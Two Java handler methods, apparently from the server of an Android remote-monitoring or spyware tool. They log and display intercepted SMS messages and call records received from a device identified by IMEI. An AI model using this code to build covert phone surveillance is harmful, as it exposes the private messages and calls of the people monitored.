@Override public void handlePacket(Packet p, String temp_imei, Server c) { gui.logTxt("SMS data has been received"); c.getChannelHandlerMap().get(imei).getStorage(channel).reset(); ShortSMSPacket packet = (ShortSMSPacket) p; gui.addMonitoredSMS(imei, packet.getAddress(), packet.getDate(), packet.getBody()); }
/** * Diese Methode erhält das Paket. Darauf hin wird eine Lognachricht erzeugt. Im Anschluss wird * der Listener für den Datenkanal aus dem Server entfernt und die GUI mitr den Daten des Geräts * upgedatet. * * @param p Das Paket * @param temp_imei Eine IMEI * @param c Der Server */ @Override public void handlePacket(Packet p, String temp_imei, Server c) { gui.logTxt("Call monitoring data has been received"); c.getChannelHandlerMap().get(imei).getStorage(channel).reset(); CallStatusPacket packet = (CallStatusPacket) p; gui.addMonitoredCall(imei, packet.getType(), packet.getPhonenumber()); }